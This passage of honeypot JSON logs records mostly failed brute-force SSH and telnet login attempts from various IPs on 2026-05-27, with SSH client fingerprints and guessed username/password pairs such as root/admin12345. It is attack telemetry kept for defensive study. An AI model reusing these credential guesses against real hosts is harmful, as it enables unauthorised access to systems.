f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:22.172259Z","src_ip":"186.148.224.183","session":"eb80cd62ec46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":39244,"dst_ip":"159.203.135.109","dst_port":22,"session":"dac6465cec7b","protocol":"ssh","message":"New connection: 194.113.233.25:39244 (159.203.135.109:22) [session: dac6465cec7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:22.519097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:22.524540Z","src_ip":"194.113.233.25","session":"dac6465cec7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:22.619905Z","src_ip":"194.113.233.25","session":"dac6465cec7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Super123","message":"login attempt [root/Super123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:22.802095Z","src_ip":"186.148.224.183","session":"eb80cd62ec46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentin1976","message":"login attempt [root/valentin1976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:22.902866Z","src_ip":"194.113.233.25","session":"dac6465cec7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:23.955578Z","src_ip":"186.148.224.183","session":"eb80cd62ec46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:24.000660Z","src_ip":"194.113.233.25","session":"dac6465cec7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.36","src_port":52858,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d1d78852a14","protocol":"telnet","message":"New connection: 45.142.154.36:52858 (159.203.135.109:23) [session: 5d1d78852a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:26.839387Z"}
{"eventid":"cowrie.session.closed","duration":0.20470023155212402,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:27.043979Z","src_ip":"45.142.154.36","session":"5d1d78852a14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.36","src_port":53260,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c1d795472ad","protocol":"telnet","message":"New connection: 45.142.154.36:53260 (159.203.135.109:23) [session: 5c1d795472ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:27.243415Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":60888,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ef52e4550e7","protocol":"ssh","message":"New connection: 160.251.182.78:60888 (159.203.135.109:22) [session: 6ef52e4550e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:32.126089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:32.131550Z","src_ip":"160.251.182.78","session":"6ef52e4550e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:32.319702Z","src_ip":"160.251.182.78","session":"6ef52e4550e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcv1234.","message":"login attempt [root/Zxcv1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:33.101929Z","src_ip":"160.251.182.78","session":"6ef52e4550e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:34.293168Z","src_ip":"160.251.182.78","session":"6ef52e4550e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.801385879516602,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:37.044626Z","src_ip":"45.142.154.36","session":"5c1d795472ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.36","src_port":54420,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2645e3066fc","protocol":"telnet","message":"New connection: 45.142.154.36:54420 (159.203.135.109:23) [session: c2645e3066fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:37.247511Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":40824,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b4ba5b1a8ef","protocol":"ssh","message":"New connection: 190.223.60.209:40824 (10.17.0.5:22) [session: 3b4ba5b1a8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:37.690055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:37.694999Z","src_ip":"190.223.60.209","session":"3b4ba5b1a8ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:37.826058Z","src_ip":"190.223.60.209","session":"3b4ba5b1a8ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"patrick","password":"patrick123","message":"login attempt [patrick/patrick123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:38.360727Z","src_ip":"190.223.60.209","session":"3b4ba5b1a8ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:39.490319Z","src_ip":"190.223.60.209","session":"3b4ba5b1a8ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00708150863647,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:44.975417Z","src_ip":"98.30.219.209","session":"25e8c8afe336","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.799130201339722,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:47.046539Z","src_ip":"45.142.154.36","session":"c2645e3066fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.36","src_port":55140,"dst_ip":"159.203.135.109","dst_port":23,"session":"f313f5799136","protocol":"telnet","message":"New connection: 45.142.154.36:55140 (159.203.135.109:23) [session: f313f5799136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:47.253702Z"}
{"eventid":"cowrie.session.closed","duration":9.795300722122192,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:57.048864Z","src_ip":"45.142.154.36","session":"f313f5799136","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.36","src_port":56392,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e50fb0f4476","protocol":"telnet","message":"New connection: 45.142.154.36:56392 (159.203.135.109:23) [session: 9e50fb0f4476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:57.242813Z"}
{"eventid":"cowrie.session.closed","duration":0.005586862564086914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:57.248285Z","src_ip":"45.142.154.36","session":"9e50fb0f4476","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.36","src_port":56406,"dst_ip":"159.203.135.109","dst_port":23,"session":"0886c41505f2","protocol":"telnet","message":"New connection: 45.142.154.36:56406 (159.203.135.109:23) [session: 0886c41505f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:57.660079Z"}
{"eventid":"cowrie.session.closed","duration":0.006068706512451172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:57.665997Z","src_ip":"45.142.154.36","session":"0886c41505f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.36","src_port":56446,"dst_ip":"159.203.135.109","dst_port":23,"session":"2982640afd74","protocol":"telnet","message":"New connection: 45.142.154.36:56446 (159.203.135.109:23) [session: 2982640afd74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:58.067456Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:58.073878Z","src_ip":"45.142.154.36","session":"2982640afd74","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept: */*","password":"","message":"login attempt [Accept: */*/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:58.077991Z","src_ip":"45.142.154.36","session":"2982640afd74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.2146129608154297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:58.281946Z","src_ip":"45.142.154.36","session":"2982640afd74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.36","src_port":56510,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3cfa21f74ab","protocol":"telnet","message":"New connection: 45.142.154.36:56510 (159.203.135.109:23) [session: d3cfa21f74ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:58.492550Z"}
{"eventid":"cowrie.session.closed","duration":0.20813679695129395,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:58.700553Z","src_ip":"45.142.154.36","session":"d3cfa21f74ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.36","src_port":56520,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceccf10fc420","protocol":"telnet","message":"New connection: 45.142.154.36:56520 (159.203.135.109:23) [session: ceccf10fc420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:58.903008Z"}
{"eventid":"cowrie.session.closed","duration":0.21057915687561035,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:56:59.113433Z","src_ip":"45.142.154.36","session":"ceccf10fc420","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43038,"dst_ip":"10.17.0.5","dst_port":22,"session":"690b2da61c52","protocol":"ssh","message":"New connection: 103.176.20.57:43038 (10.17.0.5:22) [session: 690b2da61c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:04.004835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:04.012490Z","src_ip":"103.176.20.57","session":"690b2da61c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:04.266170Z","src_ip":"103.176.20.57","session":"690b2da61c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fltkbyf","message":"login attempt [root/fltkbyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:05.031300Z","src_ip":"103.176.20.57","session":"690b2da61c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:06.291852Z","src_ip":"103.176.20.57","session":"690b2da61c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":44192,"dst_ip":"10.17.0.5","dst_port":23,"session":"4644c29df0fc","protocol":"telnet","message":"New connection: 98.30.219.209:44192 (10.17.0.5:23) [session: 4644c29df0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:06.679977Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":56818,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1a0d9bc690c","protocol":"ssh","message":"New connection: 20.160.86.7:56818 (10.17.0.5:22) [session: f1a0d9bc690c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:11.334948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:11.340330Z","src_ip":"20.160.86.7","session":"f1a0d9bc690c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:11.423709Z","src_ip":"20.160.86.7","session":"f1a0d9bc690c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svxlink","password":"svxlink","message":"login attempt [svxlink/svxlink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:11.783649Z","src_ip":"20.160.86.7","session":"f1a0d9bc690c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:12.870425Z","src_ip":"20.160.86.7","session":"f1a0d9bc690c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":54434,"dst_ip":"10.17.0.5","dst_port":22,"session":"f78356d6c203","protocol":"ssh","message":"New connection: 85.11.167.46:54434 (10.17.0.5:22) [session: f78356d6c203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:16.115802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:16.123621Z","src_ip":"85.11.167.46","session":"f78356d6c203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:16.218505Z","src_ip":"85.11.167.46","session":"f78356d6c203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12345","message":"login attempt [root/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:16.496049Z","src_ip":"85.11.167.46","session":"f78356d6c203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:17.585633Z","src_ip":"85.11.167.46","session":"f78356d6c203","protocol":"ssh"}
